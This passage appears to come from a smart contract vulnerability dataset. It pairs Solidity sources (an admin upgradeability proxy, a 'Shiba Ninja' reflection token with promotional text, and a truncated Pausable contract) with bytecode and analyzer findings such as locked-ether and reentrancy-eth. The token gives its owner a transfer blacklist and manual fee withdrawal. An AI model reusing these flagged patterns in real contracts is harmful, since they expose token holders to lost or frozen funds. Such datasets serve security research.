* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/BaseAdminUpgradeabilityProxy.sol
*/
contract AdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
_setAdmin(_admin);
}
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function changeImplementation(address newImplementation) external ifAdmin {
_setImplementation(newImplementation);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
}
|
0x6080604052600436106100435760003560e01c806317a68dd81461005a5780635c60da1b1461008d5780638f283970146100be578063f851a440146100f157610052565b3661005257610050610106565b005b610050610106565b34801561006657600080fd5b506100506004803603602081101561007d57600080fd5b50356001600160a01b0316610120565b34801561009957600080fd5b506100a261015a565b604080516001600160a01b039092168252519081900360200190f35b3480156100ca57600080fd5b50610050600480360360208110156100e157600080fd5b50356001600160a01b0316610197565b3480156100fd57600080fd5b506100a261020c565b61010e61011e565b61011e610119610273565b610298565b565b6101286102bc565b6001600160a01b0316336001600160a01b0316141561014f5761014a816102e1565b610157565b610157610106565b50565b60006101646102bc565b6001600160a01b0316336001600160a01b0316141561018c57610185610273565b9050610194565b610194610106565b90565b61019f6102bc565b6001600160a01b0316336001600160a01b0316141561014f577f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6101e16102bc565b604080516001600160a01b03928316815291841660208301528051918290030190a161014a816103b1565b60006102166102bc565b6001600160a01b0316336001600160a01b0316141561018c576101856102bc565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061026b57508115155b949350505050565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102b7573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6102ea81610237565b61035557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496d706c656d656e746174696f6e206e6f742073657400000000000000000000604482015290519081900360640190fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8181556040516001600160a01b038316907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a25050565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035556fea2646970667358221220e2215c8be3148a4b73cca04053002b9f7cbab8b299103eb7ccf265a3ac1cf0bf64736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,335 |
0xd3adc9b349a7abe19b09a674246ecf3d4ac564e8
|
/*
🟢Telegram: https://t.me/shibaninjaeth
🟢Twitter: https://twitter.com/shibaninjaeth
Did someone say 'Ninja', Shiba Ninja is here
Join the most Immersive and Capitulating Community!
$SHIBNINJA is a community based token for Shiba community
"I never go back on my word"
"With Great Power comes Great Responsibility"
-Ninja Shiba
🚀 ROBUST Tokenomics -
🟢100% Supply Stealth Launch on Uniswap
🟢Tax 12% (Buy / Sell)
🟢Reflections for Holders 🚀
🟢Slippage 12%+
🟢0% Dev Wallet (100% Stealth)
🟢Max Transaction Limit: 4%🚀
🟢100% LP lock on Team finance 🚀
🟢Max Supply: 1,000,000,000🚀
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract shibaninjatoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shiba Ninja";
string private constant _symbol = "SHIBNINJA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xE0d51965cDC93703E060389ff5309C93F10fD785);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 40_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 40_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780636fc3eaec1461027357806370a082311461028857600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a257806318160ddd146101d25780631bbae6e0146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611879565b61041c565b005b34801561016857600080fd5b5060408051808201909152600b81526a5368696261204e696e6a6160a81b60208201525b60405161019991906118f6565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd366004611787565b61046d565b6040519015158152602001610199565b3480156101de57600080fd5b50670de0b6b3a76400005b604051908152602001610199565b34801561020357600080fd5b5061015a6102123660046118b1565b610484565b34801561022357600080fd5b506101c2610232366004611747565b6104c6565b34801561024357600080fd5b5061015a6102523660046116d7565b61052f565b34801561026357600080fd5b5060405160098152602001610199565b34801561027f57600080fd5b5061015a61057a565b34801561029457600080fd5b506101e96102a33660046116d7565b6105ae565b3480156102b457600080fd5b5061015a6105d0565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610199565b3480156102f157600080fd5b50604080518082019091526009815268534849424e494e4a4160b81b602082015261018c565b34801561032357600080fd5b5061015a610644565b34801561033857600080fd5b506101c2610347366004611787565b610883565b34801561035857600080fd5b5061015a6103673660046117b2565b610890565b34801561037857600080fd5b5061015a610934565b34801561038d57600080fd5b5061015a610974565b3480156103a257600080fd5b5061015a6103b13660046118b1565b610b3a565b3480156103c257600080fd5b5061015a6103d13660046118b1565b610b72565b3480156103e257600080fd5b506101e96103f136600461170f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044f5760405162461bcd60e51b815260040161044690611949565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047a338484610baa565b5060015b92915050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161044690611949565b668e1bc9bf0400008111156104c35760108190555b50565b60006104d3848484610cce565b610525843361052085604051806060016040528060288152602001611ac7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc5565b610baa565b5060019392505050565b6000546001600160a01b031633146105595760405162461bcd60e51b815260040161044690611949565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161044690611949565b476104c381610fff565b6001600160a01b03811660009081526002602052604081205461047e90611039565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161044690611949565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161044690611949565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076091906116f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e091906116f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906116f3565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047a338484610cce565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161044690611949565b60005b8151811015610930576001600660008484815181106108ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092881611a5c565b9150506108bd565b5050565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161044690611949565b6000610969306105ae565b90506104c3816110bd565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161044690611949565b600e546109be9030906001600160a01b0316670de0b6b3a7640000610baa565b600e546001600160a01b031663f305d71947306109da816105ae565b6000806109ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b91906118c9565b5050600f8054668e1bc9bf04000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0257600080fd5b505af1158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c39190611895565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161044690611949565b600f8110156104c357600b55565b6000546001600160a01b03163314610b9c5760405162461bcd60e51b815260040161044690611949565b600f8110156104c357600c55565b6001600160a01b038316610c0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610c6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610d945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610df65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b6001600160a01b03831660009081526006602052604090205460ff1615610e1c57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb5576000600955600c54600a55600f546001600160a01b038481169116148015610e995750600e546001600160a01b03838116911614155b8015610ebe57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed35750600f54600160b81b900460ff165b15610ee757601054811115610ee757600080fd5b600f546001600160a01b038381169116148015610f125750600e546001600160a01b03848116911614155b8015610f3757506001600160a01b03831660009081526005602052604090205460ff16155b15610f48576000600955600b54600a555b6000610f53306105ae565b600f54909150600160a81b900460ff16158015610f7e5750600f546001600160a01b03858116911614155b8015610f935750600f54600160b01b900460ff165b15610fb357610fa1816110bd565b478015610fb157610fb147610fff565b505b505b610fc0838383611262565b505050565b60008184841115610fe95760405162461bcd60e51b815260040161044691906118f6565b506000610ff68486611a45565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b60006007548211156110a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b60006110aa61126d565b90506110b68382611290565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116757600080fd5b505afa15801561117b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119f91906116f3565b816001815181106111c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e69130911684610baa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121f90859060009086903090429060040161197e565b600060405180830381600087803b15801561123957600080fd5b505af115801561124d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc08383836112d2565b600080600061127a6113c9565b90925090506112898282611290565b9250505090565b60006110b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b6000806000806000806112e487611437565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113169087611494565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134590866114d6565b6001600160a01b03891660009081526002602052604090205561136781611535565b611371848361157f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b691815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e48282611290565b82101561140057505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361142a5760405162461bcd60e51b815260040161044691906118f6565b506000610ff68486611a06565b60008060008060008060008060006114548a600954600a546115a3565b925092509250600061146461126d565b905060008060006114778e8787876115f8565b919e509c509a509598509396509194505050505091939550919395565b60006110b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc5565b6000806114e383856119ee565b9050838110156110b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b600061153f61126d565b9050600061154d8383611648565b3060009081526002602052604090205490915061156a90826114d6565b30600090815260026020526040902055505050565b60075461158c9083611494565b60075560085461159c90826114d6565b6008555050565b60008080806115bd60646115b78989611648565b90611290565b905060006115d060646115b78a89611648565b905060006115e8826115e28b86611494565b90611494565b9992985090965090945050505050565b60008080806116078886611648565b905060006116158887611648565b905060006116238888611648565b90506000611635826115e28686611494565b939b939a50919850919650505050505050565b6000826116575750600061047e565b60006116638385611a26565b9050826116708583611a06565b146110b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b80356116d281611aa3565b919050565b6000602082840312156116e8578081fd5b81356110b681611aa3565b600060208284031215611704578081fd5b81516110b681611aa3565b60008060408385031215611721578081fd5b823561172c81611aa3565b9150602083013561173c81611aa3565b809150509250929050565b60008060006060848603121561175b578081fd5b833561176681611aa3565b9250602084013561177681611aa3565b929592945050506040919091013590565b60008060408385031215611799578182fd5b82356117a481611aa3565b946020939093013593505050565b600060208083850312156117c4578182fd5b823567ffffffffffffffff808211156117db578384fd5b818501915085601f8301126117ee578384fd5b81358181111561180057611800611a8d565b8060051b604051601f19603f8301168101818110858211171561182557611825611a8d565b604052828152858101935084860182860187018a1015611843578788fd5b8795505b8386101561186c57611858816116c7565b855260019590950194938601938601611847565b5098975050505050505050565b60006020828403121561188a578081fd5b81356110b681611ab8565b6000602082840312156118a6578081fd5b81516110b681611ab8565b6000602082840312156118c2578081fd5b5035919050565b6000806000606084860312156118dd578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192257858101830151858201604001528201611906565b818111156119335783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119cd5784516001600160a01b0316835293830193918301916001016119a8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0157611a01611a77565b500190565b600082611a2157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4057611a40611a77565b500290565b600082821015611a5757611a57611a77565b500390565b6000600019821415611a7057611a70611a77565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c357600080fd5b80151581146104c357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202e3f40fb27315ff1636b28135f0e0664ebbae402ced4efeb92dde6fe42c27fc464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,336 |
0x0a255f700b16c0acf5673565c757b94fb38b27f2
|
pragma solidity ^0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/*
* Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
function doTransfer(address _to, uint256 _index) public returns (uint256 price, address owner);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
